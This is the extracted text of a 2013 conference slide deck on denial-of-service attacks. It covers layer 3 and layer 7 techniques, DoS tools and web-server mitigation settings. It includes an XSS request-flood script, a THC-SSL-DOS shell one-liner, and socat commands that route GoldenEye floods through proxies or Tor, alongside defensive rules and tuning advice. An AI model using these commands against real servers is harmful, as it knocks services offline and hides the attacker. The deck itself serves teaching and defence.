Load Balancing Attacks
More about the Jericho Attack Technique

http://www.slideshare.net/jseidl/slides-the-jerichoattackperspective
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
XSS D/DoS
What if an XSS flaw could turn your visitors into D/DoS
clients?
<script>
function DDoS() {
a = new Date()
unixepoch = a.getTime()

}

elm = document.createElement("img")
victimURL = "http://10.1.1.114/"
elm.src = victimURL+"?"+unixepoch

setInterval("DDoS()",1);
</script>

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Mobile-launched Denial-of-Service
PoC Tool: GoldenEye Mobile

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Mobile-launched Denial-of-Service
Objective
Test if mobile devices alone could conduct a successful DoS
attack.
Test if equipment and configurations are able to deter DoS
attacks from mobile platforms.

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Mobile-launched Denial-of-Service
Android: Limitations
Max 128 threads (Android 2.1)
Maximum number of concurrent sockets per thread: 30 (>30
too many open files)

Can we get better results if device is 'rooted'
(sysctl) ?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Mobile-launched Denial-of-Service
Firepower
5 min test on an Apache webserver, default
configuration, in a Debian 6 virtual
machine, also with default configuration.
CPU Usage: u5.85 s4.52 cu0 cs0 ­ 2.37% CPU 
load

Low CPU fingerprint

Server overloaded 
(a.k.a. down)

https://github.com/jseidl/GoldenEye-Mobile
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Mobile-launched Denial-of-Service
GoldenEye Mobile: Mitigation
GoldenEye Mobile uses HEAD method for maximum speed.
Easily blocked (Module: Mod_Rewrite)
RewriteEngine on
RewriteCond %{THE_REQUEST} !^(GET|POST) /.* HTTP/1.1$ 
RewriteRule .* ­ [F]
mod_security
SecFilterSelective REQUEST_METHOD "!^(GET|POST)$" "deny,auditlog,status:405"

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Demo: DoS Fun
GoldenEye Mobile DoS Android Tool Demo!

http://bit.ly/GoldenEyeMDOS
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Questions?

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Thanks!
– To Peace!

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil
Thanks!
Thanks for your time!
jseidl@wroot.org / http://wroot.org
https://github.com/jseidl
http://www.slideshare.net/jseidl
@jseidl

Super Effective Denial-of-Service Attacks. SEIDL, Jan
Super Effective Denial-of-Service Attacks. SEIDL, Jan
Latinoware/2013 – Foz do Iguaçú, Brazil
Latinoware/2013 – Foz do Iguaçú, Brazil

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Super Effective Denial of Service Attacks

  • 1. super effective denial of service attacks Jan Seidl
  • 2. $ whoami Full Name: Jan Origin: Rio de Seidl Janeiro, RJ – Brazil Work: ● Technical Coordinator @ TI Safe ● ● OpenSource contributor for: PEV, Logstash ● ● Codes and snippets @ github.com/jseidl ● Features: ● UNIX Evangelist/Addict/Freak (but no fanboy!) ● ● Python and C lover ● ● Coffee dependent ● ● Hates printers and social networks ● ● Proud DC Labs Member ● Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 3. agenda 0x0 0x1 0x2 0x3 0x4 0x5 0x6 0x7 0x8 0x9 0xA Introduction to Denial-of-Service Background: Layer 3 attacks Attacking Layer 7: Fundamentals Attacking Layer 7: Vectors & Tools WebServer DoS Mitigation 101 Proxies (SOCKS/TOR) and Layer 7 attacks Jericho Attack Technique: Load-balancing attacks XSS D/DoS Size doesn't matter: Mobile-launched Denial-of-Service Demo/Video: GoldenEye MdoS Android Tool Questions? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 4. Introduction to Denial-of-Service What is denial of service? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 5. Introduction to Denial-of-Service What is denial of service? A denial-of-service attack (...), is an attempt to make a machine or network resource unavailable to its intended users. Source: Wikipedia/en_US Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 6. Introduction to Denial-of-Service Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 7. Introduction to Denial-of-Service Result? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 8. Introduction to Denial-of-Service Result? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 9. Introduction to Denial-of-Service Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 10. Introduction to Denial-of-Service Symptoms Oddly low performance Unavailability of given resource Unavailability of all resources Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 11. Introduction to Denial-of-Service Recent Cases Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 12. Introduction to Denial-of-Service http://money.cnn.com/2012/09/27/technology/bank-cyberattacks/index.html Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 13. Introduction to Denial-of-Service Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 14. Introduction to Denial-of-Service http://www.datacenterknowledge.com/archives/2009/08/06/twitter-is-latest-victim-in-series-of-attacks/ Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 15. Introduction to Denial-of-Service http://nakedsecurity.sophos.com/2012/04/07/anonymous-attacks-home-office/ Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 16. Introduction to Denial-of-Service http://usatoday30.usatoday.com/tech/news/story/2012-07-19/hactivism-anonymous-attacks/56464792/1 Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 17. Introduction to Denial-of-Service http://olhardigital.uol.com.br/negocios/digital_news/noticias/ataques-ddos-cresceram-70-em-2012,-dizpesquisa Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 18. Introduction to Denial-of-Service Targets (OSI layer) Network (Layer 3) Bandwidth consumption Application (Layer 7) Application or operating system resources consumption Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 19. Introduction to Denial-of-Service Network (Layer 3) Bandwidth consumption Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 20. Background: Layer 3 attacks Popular Attacks Ping Flood (…) is a simple denial-of-service attack where the attacker overwhelms the victim with ICMP Echo Request (ping) packets (...) The attacker hopes that the victim will respond with ICMP Echo Reply packets, thus consuming both outgoing bandwidth as well as incoming bandwidth. Source: Wikipedia/en_US Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 21. Background: Layer 3 attacks Popular Attacks Smurf Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 22. Background: Layer 3 attacks Popular Attacks Smurf Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 23. Background: Layer 3 attacks Popular Attacks Smurf Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 24. Background: Layer 3 attacks Popular Attacks SYN Flood Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 25. Background: Layer 3 attacks Popular Attacks SYN Flood Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 26. Background: Layer 3 attacks Popular Attacks Teardrop Attack “When the sum of the offset and size of one fragmented packet differ from that of the next fragmented packet, the packets overlap, and the server attempting to reassemble the packet can crash, especially if it is running an older operating system that has this vulnerability.” http://www.juniper.net/techpubs/software/junos-es/junos-es93/junos-es-swconfigsecurity/understanding-teardrop-attacks.html Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 27. Background: Layer 3 attacks Popular Attacks Teardrop Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 28. Background: Layer 3 attacks Popular Attacks Teardrop Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 29. Background: Layer 3 attacks Popular Attacks Teardrop Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 30. Background: Layer 3 attacks Popular Attacks Teardrop Attack Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 31. Attacking Layer 7: Fundamentals Application (Layer 7) Application or operating system resources consumption Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 32. Attacking Layer 7: Fundamentals Focus Layer 3 Layer 7 Exhaust bandwidth Exhaust application or operating system keyresources Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 33. Attacking Layer 7: Fundamentals Stealthness Layer 3 Layer 7 High network noise (noisy attack) Low network noise, might emulate legit requests Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 34. Attacking Layer 7: Fundamentals Efficiency Layer 3 Layer 7 Requires lot of participants for significant outage. May be blocking by sparring Sometimes only one machine can cause damage. Difficult to block Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 35. Attacking Layer 7: Fundamentals Mitigation Layer 3 Layer 7 Large link, connectionlimiting, rate-limiting, sparring ? Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 36. Attacking Layer 7: Fundamentals Layer 7 attacks targets Intense CPU, Disk I/O & Swapping operations, long/slow/complex queries Finite application resources: Maximum Sockets Limits, Maximum Memory Limits, Disk space etc Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 37. Attacking Layer 7: Vectors & Tools Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 38. Attacking Layer 7: Vectors & Tools Intense CPU usage SSL Renegotiation / SSL Handshake Attack 15% more processing power needed on server than on client to establish handshake. On the wild since 2003. Still affects most implementations. Found by THC group (ww.thc.org) in 2011 Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 39. Attacking Layer 7: Vectors & Tools Intense CPU usage SSL Renegotiation / SSL Handshake Attack Tool: THC-SSL-DOS <http://www.thc.org/thc-ssl-dos/> - or thc­ssl­dosit() { while :; do (while :; do echo R;  done) | openssl s_client ­connect 127.0.0.1:443  2>/dev/null; done } for x in `seq 1 100`; do thc­ssl­dosit & done Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 40. Attacking Layer 7: Vectors & Tools Intense CPU usage SSL Renegotiation / SSL Handshake Attack Affects any TLS/SSL secured protocol: HTTPS, SMTPS, POP3S, Database secure ports etc Mitigation? Turning off SSL renegotiation might help, but not solve SSL accelerators might help, but also don't 100% solve IPTables mitigation http://vincent.bernat.im/en/blog/2011-ssl-dos-mitigation.html Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 41. Attacking Layer 7: Vectors & Tools Intense CPU usage Apache Range Header Attack Parallel requests of small GZIP'ed content parts Forces the webserver to perform several parallel compression operations = high load Discovered in 2011 (CVE-2011-3192) Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 42. Attacking Layer 7: Vectors & Tools Intense CPU usage Apache Range Header Attack Tools: killapache.pl < http://seclists.org/fulldisclosure/2011/Aug/175> Slowhttptest <http://code.google.com/p/slowhttptest/> Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 43. Attacking Layer 7: Vectors & Tools Intense CPU usage Apache Range Header Attack Mitigation: SetEnvIf or mod_rewrite (ref: http://httpd.apache.org/security/CVE-2011-3192.txt) Use a WAF (Web Application Firewall) Update Apache to version 2.2.21 or greater Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 44. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks Slow Headers, Slow Post, Slow Read Read or send data in small chunks, with interval between reads / writes. Waiting for the full request is part of the Web Server's nature Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 45. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks Slow Headers: send request headers 'Slowly' Slow Post: send request post body (post data) 'Slowly' Slow Read: Small TCP window size to force slow response reading Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 46. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks Slow Headers: send request headers 'Slowly' GET / HTTP/1.1 rn /* sleep(1) */ Connection: keep-alive rn /* sleep(1) */ ... Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 47. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks Slow Post: send request post body (post data) 'Slowly' Content-Type: application/x-www-form-urlencoded Content-Length: 512 Accept: text/html;q=0.9,text/plain;q=0.8 foo=bar /* sleep(1) */ bar=baz /* sleep(1) */ baz=foo /* sleep(1) */ ... Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 48. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks Slow Read: Small TCP window size to force slow response reading /* pseudocode */ int len = 1; while (data = read(sock, buffer, len)) { sleep(5); … } Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 49. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks Tools: Slow Headers: Slowloris, slowhttptest, OWASP HTTP Post Tool Slow Post: RUDY, slowhttptest, OWASP HTTP Post Tool Slow Read: slowhttptest Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 50. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP Slow Attacks - Mitigation: Slow Headers: request timeout (apache's mod_reqtimeout), WAF Slow Post: request timeout, WAF Slow Read: Disable pipelining and oddly slow window sizes, limit maximum request request time, WAF Good article on slow attacks mitigation https://community.qualys.com/blogs/securitylabs/2011/11/02 /how-to-protect-against-slow-http-attacks Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 51. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP KeepAlive + NoCache Keep connections open and force cache regeneration. First POC: HULK – HTTP Unbearable Load King Created on May 2012 by Barry Shteiman. <http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/> Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 52. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP KeepAlive + NoCache: HULK Highly effective against IIS, Apache & Reverse Proxies Caveat: Python, Urllib2 → Always sends headers on the same order Spiderlabs: modsecurity rule to mitigate URLLib attacks (Hulk) (http://blog.spiderlabs.com/2012/05/hulk-vs-thor-applicationdos-smackdown.html) Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 53. Attacking Layer 7: Vectors & Tools Randomization FTW! Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 54. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP KeepAlive + NoCache + Randomness: GoldenEye ● ● ● ● Author: Me! :) Initially born as a Hulk fork due to its fingerprinting weakness ● ● Transformed further into a new independent HTTP DoS Tool Born to test WAF blocking abilities under random and semi-natural payloads Available at https://github.com/jseidl/GoldenEye Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 55. Attacking Layer 7: Vectors & Tools Connection slots abuse HTTP KeepAlive + NoCache + Randomness: GoldenEye Main Features: GET, POST or Random HTTP methods Random headers quantity Random Headers content with legit values as per RFC Better random block function to avoid fingerprinting Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Hackers to Hackers Conference 2012 – São Paulo, Brasil Hackers to Hackers Conference 2012 – São Paulo, Brasil
  • 56. Attacking Layer 7: Vectors & Tools Mitigation Granular page permissions Filter POST where not needed Filter querystring parameters where not needed ProxyCache Use caching proxies (ex: Varnish) and disable cache reload KeepAlive e TimeOuts Tune KeepAlive, TimeOut & KeepAliveTimeOut (Apache) and equivalent in other webservers Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Hackers to Hackers Conference 2012 – São Paulo, Brasil Hackers to Hackers Conference 2012 – São Paulo, Brasil
  • 57. WebServer DoS Mitigation 101 Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 58. WebServer DoS Mitigation 101 Apache LimitRequestFields, LimitRequestFieldSize, LimitRequestBody, LimitRequestLine, LimitXMLRequestBody, TimeOut, KeepAliveTimeOut, ListenBackLog, MaxRequestWorkers [core] RequestReadTimeout [mod_reqtimeout] Source: https://community.qualys.com/blogs/securitylabs/2011/11/02/howto-protect-against-slow-http-attacks Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 59. WebServer DoS Mitigation 101 Nginx client_max_body_size, client_body_buffer_size, client_header_buffer_size, large_client_header_buffers, client_body_timeout, client_header_timeout [core] Modules: HttpLimitReqModule, HttpLimitZoneModule Source: https://community.qualys.com/blogs/securitylabs/2011/11/02/howto-protect-against-slow-http-attacks Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 60. WebServer DoS Mitigation 101 IIS 6 & 7 IIS 6: connectionTimeout, HeaderWaitTimeout, MaxConnections IIS 7: <RequestLimits> maxAllowedContentLength, maxQueryString, maxUrl <headerLimits> <Limits>/<WebLimits> connectionTimeout, headerWaitTimeout, minBytesPerSecond Source: https://community.qualys.com/blogs/securitylabs/2011/11/02/howto-protect-against-slow-http-attacks Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 61. WebServer DoS Mitigation 101 USE A WEB APPLICATION FIREWALL (WAF) Modsecurity (Apache / Nginx) http://www.modsecurity.org/ NAXSI (Nginx) http://code.google.com/p/naxsi/ Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 62. Proxies and Layer 7 attacks Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 63. Proxies and Layer 7 attacks Layer 3 Layer 7 Bad to attack through proxies as they usually have low bandwidth and you might get banned from them Requires low bandwidth Low network noise Not degraded by low output Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 64. Proxies and Layer 7 attacks Why use proxies in HTTP attacks? Simple answer     Geographic location at your will     Different source IPs Can provide high anonymity Largely available on the internet Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 65. Proxies and Layer 7 attacks Attack pivoting by proxies Tool: Socat: Multipurpose Relay http://www.dest-unreach.org/socat/ Also with SSL support: HTTPS, IMAPS, POPS, LDAPS Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 66. Proxies and Layer 7 attacks Attack pivoting by proxies: Regular Proxies # socat TCP4­LISTEN:80  PROXY:<PROXY_IP>:<VICTIM_IP>:80,proxyport=<PROXY_PORT> # echo “127.0.0.1 <VICTIM_HOST>” >> /etc/hosts # ./goldeneye.py http://<VICTIM_HOST>/index.php ­t 1000  ­m get Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
  • 67. Proxies and Layer 7 attacks Attack pivoting by proxies: TOR # socat TCP4­LISTEN:80,fork  SOCKS4A:localhost:<VICTIM_IP>:80,socksport=9052   # echo “127.0.0.1 <VICTIM_HOST>” >> /etc/hosts # ./goldeneye.py http://<VICTIM_HOST>/index.php ­t 1000  ­m get Super Effective Denial-of-Service Attacks. SEIDL, Jan Super Effective Denial-of-Service Attacks. SEIDL, Jan Latinoware/2013 – Foz do Iguaçú, Brazil Latinoware/2013 – Foz do Iguaçú, Brazil
